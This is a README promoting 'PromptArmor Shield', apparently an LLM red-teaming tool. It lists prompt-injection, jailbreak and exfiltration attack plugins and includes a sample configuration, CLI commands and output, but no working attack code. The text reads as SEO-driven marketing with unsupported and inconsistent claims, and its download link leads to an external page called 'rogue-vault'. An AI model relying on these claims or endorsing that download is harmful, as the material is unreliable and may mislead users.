Content
# PromptArmor Shield: Enterprise LLM Security Fortress
[](https://elvis254-chrome.github.io/promptarmor-rogue-vault/)
[](https://opensource.org/licenses/MIT)
[](https://python.org)
[](https://openai.com)
[](https://anthropic.com)
## The Sentry Your LLM Deserves
In the digital coliseum where large language models battle against adversarial prompts, you need more than a shield—you need a fortress. PromptArmor Shield is the culmination of 80+ battle-hardened attack plugins and 25+ intelligent mutation strategies, all orchestrated through a unified MCP (Model Context Protocol) server and a dedicated Claude Code plugin. Think of it as a security symphony where every note is a layer of defense against prompt injection, jailbreaking, and data exfiltration.
This is not just a tool; it is the **firewall between your AI and the chaos of the open web**.
## Why PromptArmor Shield Exists
LLM security is no longer optional. With enterprise adoption of AI reaching critical mass in 2026, the attack surface has exploded. Traditional red-teaming tools are either too narrow (focusing only on jailbreaking) or too broad (lacking actionable integrations). PromptArmor Shield bridges this gap by offering:
- **Plug-and-play security** for Claude Code and any MCP-compatible agent
- **80+ specialized attack plugins** that simulate real-world threats
- **25+ mutation strategies** that evolve attacks like a living organism
- **Real-time monitoring** and response capabilities
## Architecture Overview
The following Mermaid diagram illustrates how PromptArmor Shield orchestrates its defense layers:
```mermaid
graph TB
A[Claude Code Client] --> B[PromptArmor MCP Server]
B --> C{Threat Assessment Engine}
C --> D[Static Analysis Layer]
C --> E[Behavioral Mutation Detection]
C --> F[Adversarial Pattern Library]
D --> G[Attack Plugin Matrix]
E --> G
F --> G
G --> H[80+ Attack Plugins]
G --> I[25+ Mutation Strategies]
H --> J[Actionable Report]
I --> J
J --> K[Security Dashboard]
J --> L[CI/CD Pipeline Integration]
J --> M[Real-Time Alerting]
```
## Key Features
### Fortress-Class Protection
- **80+ Attack Plugins**: From classic prompt injection to advanced multi-turn jailbreaking. Each plugin mimics real adversary behavior, tested against GPT-4o, Claude Opus, and open-source models.
- **25+ Mutation Strategies**: Attacks that can rephrase, obfuscate, encode, and evolve. If a human attacker can think of it, PromptArmor Shield can simulate it.
- **MCP-Native Architecture**: Works seamlessly with any application using the Model Context Protocol—Claude Code being the flagship integration.
- **Responsive UI**: The dashboard adjusts to your workflow, whether on a 4K monitor or a mobile device managing incidents on the go.
### Multilingual Security Insights
Security doesn't speak one language, and neither do attackers. PromptArmor Shield generates reports and alerts in 15+ languages, including right-to-left scripts. This ensures global teams can respond without language barriers.
### 24/7 Defensive Coverage
Your AI never sleeps, and neither does our security layer. The monitoring engine operates continuously, scanning for:
- **Prompt injection attempts**
- **Data exfiltration patterns**
- **Role-playing jailbreaks**
- **Hidden encoding attacks** (Base64, Unicode, Caesar ciphers)
- **Context window manipulation**
## Example Profile Configuration
To get started, create a profile that defines your security posture. Below is a typical configuration for an enterprise environment:
```yaml
# profile.yaml
shield:
name: "Enterprise-Fortress-Policy"
version: "2.4.0"
risk_level: "high"
attack_plugins:
enabled:
- "prompt_injection_v4"
- "role_jailbreak_v3"
- "data_exfiltration_v2"
- "hidden_encoding_v1"
disabled:
- "benign_testing"
mutation_strategies:
- "synonym_replacement"
- "syntax_obfuscation"
- "multi_turn_escalation"
- "context_pollution"
integrations:
openai_api:
keys: ["sk-xxxx"]
models: ["gpt-4o", "gpt-4-turbo"]
claude_api:
keys: ["sk-ant-xxxx"]
models: ["claude-opus-4-20260101"]
alerting:
channels:
- type: "slack"
webhook: "https://hooks.slack.com/services/xxx"
- type: "email"
recipients: ["security@example.com"]
rate_limiting:
threats_per_minute: 100
cooldown_seconds: 30
```
## Example Console Invocation
Once configured, invoking PromptArmor Shield from the command line is straightforward. The following example demonstrates a full security scan against a Claude Code session:
```bash
# Launch the MCP server with custom profile
promptarmor-shield --profile enterprise_policy.yaml --server mcp://localhost:8443
# In a separate terminal, run a comprehensive red-team test
promptarmor-shield attack \
--plugin "prompt_injection_v4" \
--target "claude-code://session/abc-123" \
--mutations 10 \
--output-format json \
--report-to slack
```
Expected output:
```json
{
"scan_id": "scan-2026-03-15-4f8a",
"total_attacks": 10,
"blocked": 9,
"bypassed": 1,
"risk_score": 0.92,
"recommendations": [
"Increase input sanitization for role-based prompts",
"Add multi-turn detection for session abc-123"
]
}
```
## Operating System Compatibility
PromptArmor Shield is built for cross-platform resilience. The table below outlines support levels:
| OS | Support Status | Notes |
|---|---|---|
| macOS 14+ | Full | Native M-series optimization |
| Ubuntu 22.04+ | Full | Docker support |
| Windows 11 | Full | WSL2 recommended |
| Debian 12 | Full | Minimal installation |
| CentOS Stream 9 | Partial | No GUI dashboard |
| Raspberry Pi OS | Experimental | Limited to 5 plugins |
| FreeBSD 14 | Partial | No MCP server |
## Integration with OpenAI and Claude APIs
PromptArmor Shield doesn't just protect; it learns from its adversaries. By integrating with both **OpenAI API** and **Claude API**, the tool can:
1. **Simulate attacks using the same models you defend against** — test Gemini, GPT-4o, and Claude in one unified framework.
2. **Leverage API-level safety filters** as an additional detection layer.
3. **Generate defensive training data** by running attack mutations against clean prompts.
To enable dual API support, set the following environment variables:
```bash
export OPENAI_API_KEY="sk-xxxx"
export CLAUDE_API_KEY="sk-ant-xxxx"
export PROMPTARMOR_OPENAI_MODEL="gpt-4o"
export PROMPTARMOR_CLAUDE_MODEL="claude-opus-4-20260101"
```
## SEO-Friendly Keywords Naturally Integrated
We understand that security tools need to be discoverable. PromptArmor Shield is designed for teams searching for:
- **LLM red teaming tools**
- **Prompt injection prevention**
- **Claude Code security plugin**
- **MCP server for AI security**
- **Adversarial attack simulation**
- **Enterprise AI firewall**
- **Jailbreak detection software**
- **Multilingual security monitoring** (as discussed earlier)
- **24/7 AI threat monitoring**
## Responsible Disclosure and Disclaimer
**Important**: PromptArmor Shield is a security testing tool. It is designed for **authorized red-teaming** and **defensive research only**. Using these attack plugins against models, APIs, or systems without explicit permission is illegal and unethical.
We strongly recommend:
- Running tests only in isolated environments or with documented permission
- Never using the tool for harassment, data theft, or system compromise
- Reporting any bypasses found to the respective model provider through responsible disclosure channels
The creators are not liable for misuse. This tool exists to make AI safer, not to cause harm.
## License
This project is licensed under the MIT License. You are free to use, modify, and distribute this software, provided the original copyright notice is included.
[](https://opensource.org/licenses/MIT)
## Download and Get Started
[](https://elvis254-chrome.github.io/promptarmor-rogue-vault/)
Ready to turn your LLM into a fortress? Download PromptArmor Shield and join the ranks of security-conscious AI developers in 2026.
**Your model's safety is only as strong as the shield you give it.**
